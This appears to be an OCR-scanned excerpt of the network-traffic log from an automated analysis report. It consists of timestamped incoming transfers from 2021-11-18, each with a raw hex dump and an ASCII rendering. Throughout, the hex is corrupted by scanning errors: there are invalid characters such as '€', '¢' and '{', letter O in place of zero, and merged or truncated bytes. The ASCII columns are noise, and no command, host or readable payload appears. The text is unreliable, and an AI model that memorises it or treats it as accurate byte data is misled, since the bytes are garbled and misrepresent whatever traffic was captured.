Data Ascii: 0Z!!(Y*?{ 8rVr%SaFs%/bg2KaG>NmO>d~,#uz/1\XMQ%yB (+&J@,0u\9BPy.[rFQI_K8N+8u"=!D'~<"G\=I'J

2021-11-18 09:30:32 UTC 2311 IN Data Raw: 18 3a 4e dO ea d4 bf 04 b5 53 68 bb e3 16 98 f1 68 84 12 {3 ed Oe ba d0 a0 42 8d 36 85 b5 33 f8 74 €0 53 bb
4b 00 e2 db 7f 81 cb d4 cc fb 4f 1d 07 e7 e4 ee 7f b3 ab 13 b8 fe cf 0d 60 66 68 60 f6 25 5f 38 41 c4 db 7c b2 35 81 6f bd
5e ed 05 04 3f 79 60 78 26 e5 eb e2 0a e5 eb f3 f9 d2 ee 8a ef 97 be ca 9¢c 97 b2 b3 93 eb 60 c8 68 39 8d fc 22 aa cd 7f c5
a2 61 e9 1c fb 20 16 89 77 c6 4f 73 83 a5 01 17 Oe 54 f5 91 b8 8b bf 30 40 €5 02 7e 6¢ d2 69 12 a7 7c d2 00 41 8¢ 9e d9
04 c15f94 e2 181017 76 18 37 66 3c 6e 63 27 90 c9 53 5a 2d 7f 98 98 b6 50 d6 54 07 9¢ 77 4e 11 75 dd 09 3a 48 1a f6
87 07 e5 e6 af 71 22 20 00 f9 58 7a 86 63 0a 3d cf Oc Ob ec 74 14 28 2e 18 b3 45 55 9a 5b 3b 07 6b 60 1b 21 33 2b e8 e4
cb 73 09 f5 40 32 ed 56 56 ee 16 b0 be 24 ba ea 38
Data Ascii: :NShhB63tSKO th'%_8A|50"?y x& h9"a wOsTO@~li|A_v7f<nc'SZ-PTwNu:Hq" Xzc=t(.EU[;k |3+s@2VV$8

2021-11-18 09:30:32 UTC 2327 IN Data Raw: ad d0 96 fe 16 Oe 0d e5 fb 32 be bd 7f e1 37 56 41 73 bb 9d e4 15 8d al 09 b1 3a f3 4b 86 e8 80 10 05 77 01
da 2b 51 ae 20 62 4f cb 02 a8 c0 ¢8 80 95 c6 32 05 82 al 08 07 22 Oc 51 4e 74 Ob a9 09 3b 38 44 a2 13 18 08 8e d1 d4
94 al bd d6 2b db 26 36 €0 3f a0 27 9e a5 51 a8 af f5 85 1a 1a bc 4d 12 bd €6 f7 5a c6 4b 7f 44 05 d9 10 08 b0 ca 07 Of a¢
€092 37 be 7a f8 00 20 3e Ob f4 da fe 0a f6 50 63 99 €8 95 €0 89 54 7e 09 27 34 70 dc f5 52 53 27 7 4d 47 26 8b de 20
7c b8 de 15 95 db fd 1e ac 20 5b 64 ba 6e 26 3f 08 cb 2b 0a 4f 70 e0 4b 51 7e 42 13 10 26 fb 13 Ob 68 bd 42 b3 92 be 28
008d 7d 61 75 a0 bd 03 ab 91 18 08 1e 4c 4c 10 19 f5 22 e4 1a 9a 99 1la 57 5e 8a 2d 57 06 €0 78 19 00 6e 0d ed f5 9e 1a
e4 98 f5 6¢ 50 a0 1le 7b fe b5 74 96 60 17 e7 93 f4 b5 45
Data Ascii: 27VAs:Kw+Q bO2"QNt;8D+&6?'QMZKD7z >PcT~'4pRS'MG& | [dn&?+OpKQ~B&hB(JauLL"WA-WxnIP{t'E

2021-11-18 09:30:32 UTC 2343 IN Data Raw: 10 8f 62 f0 2d a9 d0 38 05 a6 47 91 07 1f bb ce 76 26 f6 be 81 f5 01 e0 2b 80 3c 64 87 0Oa 8a e0 72 fb 5a e8 4f
8c 4f 7c fc 80 44 71 15 a5 04 96 2c cf 71 13 2¢ 39 41 ea 63 8d 43 52 3b 28 b1 51 40 01 ba f4 85 27 1d 02 d9 8 50 48 72
81 9f 72 52 c8 7a 64 a0 fa 0a 08 42 1e 9c 3b 6f a3 44 ee af b4 34 fb e7 4c 86 cf a3 14 29 fe 7 90 12 16 af Oa ff 1f 84 18 9
70 48 97 4a 3c c0 b8 0d e7 42 99 d8 64 1d 32 d3 ff e2 92 55 cf 14 88 f8 fd 00 d8 b8 bb ec 27 cc 08 bc 5d a4 2b 4b 75 98
9c 62 af 5b ff fb 74 3294 d0 dO 3c 34 63 e4 4f bl e4 76 a6 42 74 00 ba 8a 04 57 4c 32 be 06 8b 49 a0 ee ce 54 09 40 1f
37 1c 00 61 9e el 54 a8 5a 3b fe 62 f5 31 02 a7 da f1 7c eb d7 2b ae 6d 7c 65 25 6¢ 1le 86 48 c6 f4 8a 14 ce 27 d4 56 €9
€7 aa a5 65 8c 81 68 46 5f 9d 40 2e 12 05 fa 2e
Data Ascii: b-8Gv&+<drZO0|Dg,q,9AcCR;(Q@'PHrrRzdB;o0D4L)pHI<Bd2U+Kub[t:<4cOvVBtWL2IT@7aTZ;b1|+m|e%IH
'VehF_@..

2021-11-18 09:30:32 UTC 2359 IN Data Raw: Of 84 96 5f 9f a0 89 19 bf 8c ee 16 18 20 c7 cd 12 8c e6 fb a8 07 e2 0Of 5d Ob 99 ff 6d 8a 42 c0 9e b4 1e 2d e8
3b d6 06 62 3e 9b 4b 52 78 22 17 40 db fa ee 84 98 aa 28 8b 4e 40 35 Oc 01 e4 7a e3 71 2a 6b 92 2e fb 78 92 8¢ b4 54
18d2 09 2e 96 4b 70 al 2d f4 32 b2 d4 19 12 00 be 6d 51 fd 07 e5 d1 50 72 fa 63 69 52 20 7d db 86 04 e0 d5 ff 4b 72 65
7008 7322 1328 17 c8 el 34 72 ac c9 cc 64 4e 91 bc 09 b8 c6 57 b8 b8 16 19 2c 58 61 ac 40 6d 11 cb 42 09 05 e5 Oa
8e 7b 3c 88 d6 bc 09 46 7e d9 10 89 96 45 54 54 e3 ae ab 5b 14 b8 b2 d6 ed 48 27 a5 14 b6 f6 ¢7 91 7c 08 f6 c6 26 ae Oc
cc d6 5a a7 02 5d 67 06 f2 23 64 a2 76 72 76 60 36 f6 fe €3 60 Oc 62 25 0d 2d df cf 88 39 24 92 c2 44 45 al 52 7a 7 1a 1c
16 b8 22 17 56 €9 14 c3 ca 5e b2 ec 48 1e 87 82 09 d8 81
Data Ascii: _ JmB-;b>KRx"@(N@5zq*k.xT.Kp-2mQPrciR }Kreps"(4rdNW,Xa@mB{<F~ETT[H'|&Z]g#dvrv' 6 b%-9$DER
z"V"H

2021-11-18 09:30:32 UTC 2375 IN Data Raw: 86 72 54 00 33 32 40 bc e2 2d bf 21 bf 72 da 33 el {7 24 29 b0 55 38 b6 5b 24 9f b6 12 bb 74 ff 3¢ 96 7d el 08
¢3 5f 2b 9b 40 27 96 50 9f bd a9 40 71 10 el 44 85 01 0d 7f 8f c6 1a 30 83 98 ff 20 c6 04 1b 54 ac 01 d1 a9 57 c0 87 70 ae
d4 fe a7 4e ff fa dc 28 55 5a 7b be 40 e6 f4 51 fd Ob a5 e0 90 09 b5 3a b0 a3 81 66 1f 2e 19 6e 70 74 el 87 1b 81 01 6¢ Oc
1983 3a 1059 7a fl a6 2b bd 1d 89 3b 7c 3a 19 54 21 2b 8c 11 2a 17 88 7e 18 49 41 9c dc 78 86 80 81 c0 5a Oc c4 cf e4
ca 52 5a 72 45 1a 9a d8 ad f4 13 3d b5 8 93 08 4b c2 55 a7 06 7a a0 11 9f fc 29 20 be 08 af 84 ce e5 3b 0f 13 0f 85 02 el
d2 ff a2 5b 8b 87 fe 3d 43 54 78 3b ac ¢9 12 18 68 5f 8d 17 31 fO 9c c4 a0 88 a4 73 62 cb 78 Oe 3d 07 f7 b0 7a 2b d6 Of a0
64 ca a3 {7 2e da c4 38 1a 70 86 1c a7 83
Data Ascii: IT32@-!r3$)U8[$t<}_+@'P@qD0 TWpN(UZ{@Q:f.nptl:YZ+;|:TI+*~IAXZRZrE=KUz) ;[=CTx;h_1sbx=z+d.8p

2021-11-18 09:30:32 UTC 2391 IN Data Raw: 02 5e 03 51 28 41 23 f5 6a db 53 81 d3 55 c0 db 8c cc 76 78 7e 8d 06 9e 2a 5b 0a e3 1e 28 4a 7b 86 2d 59 17
3895 32 80 a0 b8 de 11 0a 08 18 84 49 4e 3d 4d 1d 10 67 b2 40 f2 f6 13 38 {7 b3 90 75 ed 2d c6 01 ac aa 36 b6 fc 05 bb
00 ba e8 fb bf 80 59 eb 4f 08 77 31 57 01 77 9d 0d e4 46 b9 65 fe 91 66 f8 7f 06 45 85 71 9e 44 09 9d 11 39 f0 d5 cc al c4
94 af 18 fe 42 51 cf b8 fc 66 ca 30 49 61 b0 al Ob 5b 65 87 18 a7 d0 73 f6 11 4b 65 be 20 f1 b0 21 e9 2d dc 8a f8 ef 45 9d
31279 eb 8¢ 14 7b 5b 3¢ d0 94 f5 51 82 Oc 60 5b 80 4b b7 73 7e d9 81 el 7f 03 6¢ 85 8b 28 29 ac 12 2e 74 0d 78 c5 39
97 66 6b 38 f3 67 4b aa 8c e5 fb 17 5a 29 9e ab ca 4d 62 68 dc 85 00 e6 11 a4 1c 93 a4 25 55 1c a3 f5 38 bf 0b 55 02 fa
20 2f 01 b1 9a 1b 97 02 30 €6 31 57 11 05 14 6a 04
Data Ascii: AQ(A#SUvx~*{(J{-Y82IN=Mg@8u-6YOw1WwFefEqDIBQfOlajesKe I-E1'{[<Q"[Ks~I().tx9fk8gKZ)Mbho%USU
01Wj

2021-11-18 09:30:32 UTC 2407 IN Data Raw: Ob a7 2d 99 f8 d2 de 5f ca e0 ac ea 5e e4 d0 b6 62 dc 13 a3 90 10 a6 a6 5b 4b ab d1 de d6 59 c1 89 01 b3 ab
80 1e 02 08 69 12 60 3b c1 5¢ da 5¢ 41 9b 20 04 d6 54 82 ec 18 Oe 72 2a 9c 52 33 b9 db 89 2 ff 44 af b5 71 79 69 7f 8b
¢5 77 6e 0a 97 f9 ¢8 cf 3d 10 c7 Ob 31 fc 37 d5 e5 71 e7 3c 4b d5 4e 8b 9c 8¢ 25 fd e7 fa 9 1c bc 95 59 0d 52 55 5b 5¢ e9
fc b7 7a 5f 7e 14 f2 4c 88 b9 09 bf 93 f1 5e 7d 8c 76 2d 30 53 cb ba fd a8 00 bf 3d 81 f2 49 bc fb 6d 77 42 06 e2 ac fc 35
7e Oc 3b 4f 5a b7 1f 26 02 10 04 ff 3 8f dc af 8b 52 09 2f 79 f1 e0 71 28 8a 4c 10 19 c3 cd 8c fc c0 84 18 6 4c 1e 05 05 5&
c5 fb e5 ee a7 €8 84 59 d7 f4 9d bc b7 e0 8b e6 11 26 cc d4 21 c¢9 7d 58 87 34 b9 a5 44 be ad 87 84 85 78 80 ad ef 81 72
0b 69 6a 9b 7e 80 81 3e 83 €6 74 61 57 98 29
Data Ascii: -_"b[KYi";\\A Tr*R3Dqyiwn=17q<KN%YRU[\z_~L"}v-0S=ImwB5~;0Z&R/yq(LLSY&!}X4Dxrij~>taW)

2021-11-18 09:30:32 UTC 2423 IN Data Raw: 62 5f a4 bb 28 12 5 00 99 ¢7 d3 10 b2 72 5e 50 04 al 86 f1 60 21 c8 b8 28 95 70 6e Ob 07 e5 de 61 f5 68 be
49 c2 f1 04 ac c4 b2 8d 18 a4 81 a0 5a 1a 9e 90 a4 12 36 a5 b2 12 ad a8 e6 27 ac 60 €6 24 Oc a9 aa 05 04 aa cc 92 90 25
b7 6a 83 8a db df 1a 28 8c 67 ac 85 64 8f bf e4 e5 2a 42 50 6f 28 09 25 21 f4 a3 b8 f0 2f 5¢c 6e 88 d9 ff b1 b0 cO 7a b9 28
bl c2 10 63 a3 80 b0 28 01 3b f0 ¢3 97 c6 50 e9 ae 78 bf d4 78 37 c8 62 f6 98 20 38 al ec f4 91 80 c2 e6 2b f5 f1 ae 42 14
fc 7 f9 76 68 e0 a5 7f 06 92 11 7d bd e8 9e 19 c7 b0 d4 Oc 9f db ab 5 34 96 58 d5 ff 9e 86 cd 1b d7 5¢ 36 fO 5e 94 5¢ 13
311947 ec a8 86 a9 46 7c 34 18 0d 80 0d 30 1a 11 88 40 2e 80 1e e6 89 94 3d f5 7b ae 13 9c f0 5a 5a 12 7e le 39 b3 5¢
00 c5 4a 0e b9 d1 74 67 62 8f a8 12 3e Oe c2 03
Data Ascii: b_(r"P"!(pnahlZ6" $%j(gd*BPo(%!/\nz(c(;Pxx7b 8+Bvh}4X\6M\1GF|40@.={ZZ~9\Jtgb>

2021-11-18 09:30:32 UTC 2439 IN Data Raw: 41 66 20 95 4e 4d bc 53 04 45 60 98 fc 02 52 a3 b3 11 67 3f f0 b5 b7 fb ac 08 79 17 e6 €8 09 02 db 33 e5 77 fe
77 c7 45 3a 25 78 cb 5b eb 37 2e 14 d7 df 81 ce f7 61 31 ¢3 4b 90 78 be 9b 42 a7 e6 7d 11 e0 a5 74 af 82 27 ef 49 79 ad
a7 5d bc 39 54 de ae 5a 2f dc 9d 51 44 27 00 03 58 b9 71 5e b5 fc ee 54 b4 7a 52 df al 15 68 83 ac 2e 99 57 d6 dd 53 be
€9 75 d1 87 e0 68 4f 02 c3 5f 56 f2 31 4e 01 e4 6f 9c 5e 7f 3f fd d8 e5 bb 8b 43 5¢c 00 a8 51 07 b9 d2 2f f7 47 27 d1 e0 f1
29 d0 08 5e b8 fc e6 4a bb 9b 75 4a fd 39 4e b2 e3 f4 d5 73 fe b6 d8 b1 b8 22 60 8d 31 95 14 b6 43 fa 12 9b 53 Ob b5 1f
d5 94 58 5e e3 bc a4 a5 e2 36 cf cb d0 86 1b 2f 50 26 ¢7 2c e5 70 28 64 84 5b 55 f8 72 04 77 b6 4c b9 82 cc 04 d4 b8 09
2e 05 00 bd 72 65 02 b6 b5 56 f0 71 26 a6 29 ee Ob
Data Ascii: Af NMSE Rg?y3wwE:%x[7.a1KxB}t'ly]9TZ/QD'Xg TzRh.WSuhO_V1No"?C\Q/G')N"JuJINs" 1CSX"6/P&,p(
d[UrwL.reVgé&)
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 2455 IN Data Raw: 4e c9 e3 69 9e c8 4a 33 80 49 b9 bb ae 94 30 Oc 5b a2 84 b3 1e b2 6d 05 14 1e 94 80 34 c9 ¢4 71 eb 12 18 45
06 d1 f8 22 b8 d8 73 01 16 e7 f5 40 91 ac fc 79 30 94 6 19 e4 e5 32 31 d5 ec a2 b6 13 5e 01 a5 ec 29 b2 Oc 4 e0 47 87
38 2f 58 53 2a b6 7a fa 12 3b €0 5b €8 15 89 84 42 ae 15 bc 09 86 90 a9 1c d7 46 24 44 bd 3d 5a d5 90 4f 41 ef e4 09 34
05 f9 20 20 86 5d 95 14 62 09 43 fd €0 1a c6 f4 30 32 cb f0 09 e5 5f a5 f6 90 ba ¢6 2c 5b 50 Oe 5f 3e d3 df 00 ac 81 13 0a
3531 ¢l 11 8¢ 04 a5 04 ba fc 15 2d 18 40 95 1a 09 c0 18 0a 12 3¢ 50 08 25 77 04 23 1 51 el cf ¢4 66 ¢8 3¢ 5¢ 25 70 1c
75 ¢6 0 20 f3 al 5e ba 05 11 36 a3 07 df e5 af 09 b9 58 09 78 4d 2f e6 24 36 30 12 ae 86 8c 98 16 d1 f0 d6 a0 12 5a 4e
a7 Ob a7 50 d7 a9 5b d7 cd 4e 25 cf {7 b0 08 51 68 Oa
Data Ascii: NiJ3I0[m4qE"s@y021")G8/XS*z;[BF$D=Z0A4 bC02_,[P_>51-@<P%w#Qf<\%pu "6XxM/$60ZNP[N%Qh

2021-11-18 09:30:32 UTC 2471 IN Data Raw: 37 2d 80 61 95 af cf f0 c2 94 25 70 Oa d7 e8 e5 1b ae 7c e7 2e 20 d2 88 92 be fd 6a 00 69 43 6¢ f3 95 aa c8 60
c1 1852 ed a9 ab b7 51 b8 85 6¢ d1 04 bf 98 35 ff 4e fc dO 14 6b 1c d8 40 9a el 22 04 01 94 08 ac 33 ad bc ¢4 b9 8¢ 72
5 65 28 6b 79 65 07 2e ca 3c 08 6f 76 07 0d 7d Oa e4 3a 74 ff 2a 9f 7c 99 94 72 5d 5e 5¢ 56 4e 52 ec 73 e5 9a 6a d3 ec
6¢c 83 20 ef b6 cd c7 cd Oe 42 65 1f f7 d5 €0 24 dc el 09 2¢ bb 01 cd 5d 67 2c €9 a9 9b 5d 4e 5f 97 7f 14 82 b7 3a 27 57
7b 02 ec 5f €9 e2 90 b8 84 2d 94 b0 5d 94 75 2f 8f 8d fd 94 5d 91 f5 c4 1d bb e6 46 c4 a2 c1 68 05 ad 1e 89 5f da 69 30
16 a5 b2 60 be 05 c1 Of 8f b5 fd c9 c8 42 09 6a ce 5f 71 d1 04 5e d7 ff 44 dd 31 ef 9f f8 15 1a c7 46 al Oe a4 4e 64 16 b2
b8 78 95 b4 40 e7 d8 fe 3d 61 a9 68 25 fb f6 7e c4
Data Ascii: 7-a%p]|. jiCI'RQISNk@"3re(kye.<ov}:t*|r]"\VNRsjl Be$,]g,]N_:'W{_-]Ju/]Fh_i0"Bj_g"D1FNdx@=ah%~

2021-11-18 09:30:32 UTC 2487 IN Data Raw: 6a 57 4f 9b 6a 16 c3 d7 ef ca 82 84 05 52 98 c2 41 9f 87 Oc 26 50 6e a9 cc c0 25 c1 b5 5f 67 56 1a 51 30 d5 73
2d 68 64 f4 10 15 26 fe ac 70 e0 ff 86 30 32 8a 38 €9 a9 05 12 1c f6 74 ae e3 58 04 3a 1f d8 4f 4b 52 75 4d 1d ab 0d 25 51
22 ¢2 22 39 1e 60 56 5e be 2f 98 66 84 4e 5a cd 64 3a bf 69 2f d9 ea 7b b7 87 93 bb 2b bd 27 55 1a 21 7d 62 f1 f8 10 bd
9e fa 92 02 96 3e 72 ff 67 a9 4a 85 af d7 34 14 94 fa 52 fd cd 13 01 68 b3 1a ed 5f 2b 17 20 e2 22 a4 fb 38 7d 81 40 5d 37
58 ¢6 16 8f 25 6f b2 83 1e 59 0d c2 fc 74 d6 00 d1 10 c7 42 09 a5 2f 3¢ c6 66 76 23 9b Ob 2f el c6 €0 6d a4 08 4b f9 3e 61
71 53 fe 2a ca 5e 90 0a 2c 95 e8 60 ef 7c 7 ff 9f f1 fO 8b 5a 02 11 f2 27 2e 84 98 fb dc 90 1a 21 bf 01 84 7d b9 fc eb 28 7c
9c 42 fd 4a a8 fc f1 bl 27 c2 1a f7 f9
Data Ascii: JWOJRA&PN%_gVQO0s-hd&p028tX:OKRUM%Q"9 VMINZd:i/{+'U!}b>rgJ4Rh_+ "8}@]7X%0YtB/<fv#/mK>aq
S*\|Z.1(BY

2021-11-18 09:30:32 UTC 2503 IN Data Raw: 31 d8 df 76 42 5a da d7 4e b7 7c 88 29 c9 5f 9a 14 02 cd 71 17 5e c7 5c 4b 57 ee ce 20 93 af 9a c1 da cb f4 8e
59 d3 04 fc 1d f4 24 5a bf 12 32 be 2a f9 7b 24 b1 f1 cc 89 6d 75 df c3 da e0 c1 5e 98 17 31 fc 26 46 7a be 9c 28 42 65 00
a3 03 41 bb 78 f7 ac ed 6a 87 90 75 eb fa 31 57 73 d2 22 fe 1c aa ae 2d ff 36 92 2c a0 eb 40 f0 37 fc 8d 1f 39 63 c2 1le 14
00 9c 2d ab b4 02 60 46 d6 90 86 03 5f fe a0 ad 47 cb af 57 95 53 a7 77 la ed f7 7a 59 10 ce 2b 3f c4 5e 52 eb c3 e4 bb
e2 31 5f fc 80 d2 f4 4e 25 e6 bd a8 5f 95 4c¢ 27 2d Of df 10 95 d0 63 27 cf 12 7c f4 de 97 d5 97 72 27 56 ab dc 95 57 b4 50
09 8a f0 7f 7b dc 55 13 45 00 05 5c¢ 8e bf 75 f7 07 db 81 f3 6¢ 60 75 e5 e8 7d 40 a0 19 12 f2 ea 71 ae 12 bb fe e5 67 2f fe
29 aa 14 cc ec cd 00 9b 8b bf 3f 05 69 74
Data Ascii: 1vBZN|)_gMKW Y$Z2*{$mu1&Fz(BeAxjulWs"-6,@79c-'F_GWSwzY+?"R1_N%_L'-c'|r'VWP{UE\Ul'u}@qg/)?it

2021-11-18 09:30:32 UTC 2519 IN Data Raw: a5 33 40 82 ¢8 0f 01 23 36 a7 17 14 cb 87 66 76 50 5a Oc c0 b2 cd b3 32 52 ¢5 d8 al 9b 01 9d 30 39 27 65 a0
6b df 64 79 21 77 5e 08 7c d7 cb de 74 f8 3a 46 62 fe 3d 41 67 Ob df 4c el 32 Oe €9 18 12 a2 ce bf 11 09 52 50 9d 7a fa 31
€9 27 18 3a e7 5e 78 10 20 a4 2f 8f 74 2f 60 al b6 49 b1 32 3d 6f 19 1d 81 b5 el 55 b7 e5 f1 80 Oc a2 f3 13 52 5a 02 70
09 15 €9 54 e8 90 04 bc 4d 42 d9 88 €8 71 4c ¢9 20 81 57 f1 3a a9 d4 ed 6d 27 e6 fe 51 14 40 3f ac 17 cf 71 d3 24 16 2e
18 09 40 b9 07 26 €8 00 5 97 da b2 b9 28 09 56 b5 99 cc 04 2d c8 04 61 a6 d8 eb 04 93 53 16 05 28 7c a4 ae b2 bl 9f cb
a6 fe 57 46 ed 05 02 5b 12 01 82 e8 7f 3b Ob 5b fb 01 3d 43 9f 93 80 cf fc ab 73 04 b1 84 21 d3 e9 c2 d5 ed 12 09 62 34
302c c9 ec 84 11 Oe 58 fe 12 d1 2d 21 72 d6 eb 88 14
Data Ascii: 3@#6fvPZ2R09'ekdy!w”|t:Fb=AgL2RPz1""x /t/'12=0URZpTMBgL W:m'Q@7?q$. @&(V-aS(|WF[;[=Cs!b40,X-Ir

2021-11-18 09:30:32 UTC 2535 IN Data Raw: 56 2c fe 27 54 5a 5d 35 ec 81 68 34 d3 50 46 45 45 c0 08 66 4a fc 12 7b c1 ef Oe 94 e7 6e 81 cd 5¢ 19 71 08
2e a7 a6 d0 62 4e cf 53 c2 e9 64 3a 40 44 0f 8b e4 02 48 3e 49 17 db ec ab 35 bd 80 4c 1c 8a 85 95 60 4b 93 Oe 9f d9 Oc
ele8 6d fe Oc 10 b5 73 13 08 ed e6 17 76 €0 54 07 7a 63 5a af be 79 09 21 6a a7 58 €6 07 03 a2 d8 5a 36 8e ab 02 28
7b c6 e5 f2 fd d6 93 70 c1 4e el 6a b9 7b ac ad 23 1e fe 62 b7 9a 00 2¢ 3 1b 46 cO dc d1 51 c6 81 15 bf 80 71 el 20 5e
5a 63 93 1e dd fc af 37 19 48 00 f1 4c 6d 03 4e a3 01 9a 56 5e 7c c6 2f 92 6f 4b 50 3e 54 92 02 e7 58 45 88 77 a0 88 b2
ch 52 fd 27 Ob a7 77 ef d8 17 8¢ a0 d8 3e 94 7a 51 1b Oc 44 68 45 14 cc 54 20 b4 70 95 e7 14 92 6¢ 81 d5 8 20 83 71 57
2b f6 4c fe d9 05 ad e2 8d 82 c6 ec 60 b0 f1 91 34 9f d9 f4
Data Ascii: V,'TZ]5h4PFEEfJ{n\q.bNSd: @DH>I5L"KmsvTzcZy!jXZ6({pNj{#b,FQq *Zc7HLMNVA|/oKP>TXEWR'W>zQDhET
pl qW+L'4

2021-11-18 09:30:32 UTC 2551 IN Data Raw: €0 €0 4b 1d 73 c1 48 72 65 f6 b5 ff 81 e1 33 24 8 ce 49 07 3a 01 a9 61 15 72 5a 7e 22 98 01 08 cb 03 f3 ea e4
40 b0 62 22 a2 18 el 23 7 54 11 40 c7 64 58 b2 89 d7 €6 20 25 39 45 7d 29 €8 d0 92 27 38 b2 79 14 67 e2 a8 c2 27 bf
00 b7 62 95 43 80 47 45 62 35 19 9b 53 47 b6 9f 76 eb f0 78 84 69 42 fe b0 58 32 9c 97 40 33 a5 90 1d d7 eb 61 28 el Od
2740 6f 23 50 c0 bd cd 1d 54 98 79 32 1e 7b e4 b9 2e 20 69 e1 c6 28 11 28 d6 52 0a 38 ad dc 7a 6e Oe 6a 21 40 6 ba
20 4a 5e 13 5e 45 78 32 15 53 53 7c 82 70 eb fd 36 35 2¢ 6b 2¢ ec d8 c0 73 61 ¢3 bd 08 Oc 15 bc ae 6a a5 2b Oe €9 44 59
16 44 49 4e c8 b0 50 05 a4 11 9c 7 25 ee 8¢ 7 85 3a 09 f5 25 ca 11 47 ae 5c 8e b6 88 85 d6 94 70 2d dd 9c 60 9f 5e 90
50 be 01 el 19 2f ad 51 1d 22 ac d8 16 2d 68 cb 2f 05 3f 74
Data Ascii: KsHre3$l:arZ~"@b"#T@dX %9E})'8ygbCGEb5SGVXIBX2@3a(@0#PTy2{. i(R8znji@ JMEX2SS|p65 k,
saj+DYDINP%:%G\p-"P/Q"-h/?t

2021-11-18 09:30:32 UTC 2567 IN Data Raw: f5 7f c1 30 e5 02 ba e0 d1 d6 5b ff f1 24 2b ba 79 90 2a bc d7 a2 b6 40 f1 f7 d8 1c 35 f8 49 12 c0 fa f3 8d e5 ba
34 17 fa ed c3 b5 bf €6 f5 d3 eb cb 98 06 ae 58 7e 7d de Oe 90 a2 db 7b c1 €9 30 ed 9 47 el cO f6 f1 9f 66 9f 74 aa 58 f7
3f80 90 23 9f f3 7d 60 75 01 97 91 08 10 ba d3 Ob c9 8f 95 67 64 0f e2 38 e5 5f 20 1a 01 18 7d a6 80 a9 23 60 fa 31 5d 12
14 4a 1f f3 cc 89 3e 43 10 3d b6 5a ab 22 aa bf dd 0d e2 90 c9 98 da 77 cc 3f 27 76 25 43 08 80 €8 8b 2a 4a d1 4e a4 3d
8 1c 6a cc b0 fe 01 5e 9b de f6 60 6b fc 2b bb 70 b4 ce 8e fa 89 08 10 01 a7 aa 78 9d 2f 75 71 75 98 ca 17 82 84 02 67
02 55 44 e3 0f 90 90 ac 4d 27 73 90 e8 e4 7c ae al el 34 f0 6a f3 cO 84 38 47 1a 63 fa bd 74 b0 el 01 5f fe f2 04 c9 42 Of
e7 04 5f b1 c8 87 2f cO dc c9 3¢ f8 9f el
Data Ascii: 0[$+y*@514X~HOGftX?#} ugd8_ }# 1]I>C=Z"w?'v%C*IN=j""k+px/uqugUDM's|4j8Gct_B_/<

2021-11-18 09:30:32 UTC 2583 IN Data Raw: 2a f4 da 7a 77 9c dc 4e 50 fd b7 b0 f6 cc fd 1b 5b c1 ee 42 98 cb dc bf 12 05 01 f3 a2 cf 97 a7 43 0b 60 20 f7 dc
8c 27 5f c5 cc c2 e9 b2 55 a0 7d 68 70 ab 55 4f Of bb 29 26 2b ea 79 53 3e 90 e6 51 72 81 e7 7a ca ff d6 e2 24 cc 57 cf
ae 77 f3 5e 59 db 5b 7b 44 fe 37 26 9b 02 64 6¢ 45 12 12 d2 da 27 bc 0a d3 ef 8b c9 2d 56 48 91 b9 6b 4a 23 be 8f 36 00
56 50 b8 81 1f 7e 6b b4 08 db 5b 77 9e a5 4a fc cb a5 53 53 2f a9 27 51 7d 4d dd 49 7f d1 ff 72 75 d1 cd d2 d6 70 da 96 df
9d 90 Of 62 8f 13 ef ff 8¢ ec ca a2 d6 19 52 7f 82 98 0f e6 d3 2f 71 9a 76 b0 26 7c 6b a5 c5 e4 72 28 2e 18 6a c3 bc 53 9¢
75 60 ba 4b 00 08 18 db 8a 8c d7 f5 ff 4a 93 02 5f af a7 01 75 7c 93 e3 92 66 84 31 8d 7b 7f 5¢ d5 01 9f 24 d7 Oc fd 80 24
76 3b 9a 06 de 2d cf 10 4a c9 ca 7f 80 8e
Data Ascii: *zZwNP[BC" '_U}hpUO)&+yS>Qrz$WwY[{D7&dIE"-VHkJI#6VP~k[wJSS/'Q}MIrupbR/qv&|kr(.jSu’KJI_ulf1{\$$v;-J

2021-11-18 09:30:32 UTC 2599 IN Data Raw: 12 42 8 bb b5 5e 30 02 21 91 fb 64 59 82 82 2e 4f 57 9b 03 a8 23 84 4f b5 64 7a el aaec a3 c7 19 11 92 17
1b 82 09 35 0b 75 al c0 d8 a9 4f 08 b1 80 46 Ob 84 44 6¢ 96 b0 c5 25 4f 88 42 ac 40 58 e2 b7 b5 ac 25 8¢ 9e 60 cc 10 f5
01 af 94 9d 46 00 20 e8 24 c4 28 26 bf 16 aa 17 d4 e0 f1 d1 25 f6 84 80 3a 16 al f1 23 09 6a 80 74 d2 f1 06 64 59 c4 7 ab
28 ac cl 5e df f4 e8 1f 51 dd ea 7e bc 25 el 8e 88 c2 75 fe 7d d6 23 d1 c5 c2 5e 39 Oc f0 ae 4a 46 d3 ac 91 09 f1 d3 {6 53
c3 7ab8 al ea 4a 1a 46 f2 b9 4a 5f 65 4e Oe 78 5f 11 22 34 31 ed 18 60 1b 36 00 75 01 c3 29 69 49 bc 92 20 45 99 31 7b
00 86 57 4d 25 64 03 b6 dc 25 66 cc 25 61 de d4 ce 88 5f a4 40 7c 22 d1 4d 97 6e 26 7f f4 cO 14 46 7e d2 17 41 63 d1 90
b1 11 4c 6¢ 40 11 df 51 84 d4 39 00 80 67 el c9 2¢
Data Ascii: B*0!dY.OW#0Odz5uOFDI%OB@X%'F $(&%:#jtdY (*\Q~%u}#"9JFSzIFJ_eNx_"416u)il E1L{WM%d%
f%a_@|"Mn&F~AcLI@Q9g,
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 2615 IN Data Raw: c0 97 46 e5 3 fa b8 e2 05 28 41 9f f4 64 a0 1c 29 80 a0 01 80 2f d3 5b 41 52 ba ef c0 e6 7c 5d 95 50 99 84 db
27 5c 03 d5 a9 90 78 92 18 45 81 44 70 0f 53 17 43 6e 03 73 66 df da 02 7e 5e 02 24 81 f3 34 7 24 €9 03 06 46 49 7a 15
87 c7 9042 92 fa 81 28 9b 8d 6e fc dd a2 1c e8 a8 aa 04 37 30 9f 14 54 68 01 75 01 03 3c 6f 8¢c d4 72 aa ac df c7 5a 9a
1a 11 77 a0 c2 6¢ 12 e2 d2 b5 {6 f0 49 55 98 b0 25 4a 4f 01 a8 ec al cf 73 89 f8 34 4d 88 71 8c 09 85 47 76 08 65 b7 ae
21 a8 18 54 08 9b 4a ca bc 3c f1 ce b0 19 97 3d 01 9c 8¢ 52 e9 6a 33 c6 83 d3 4c ac ed 9c c4 eb fc 64 ce 7a 13 3c ae ef
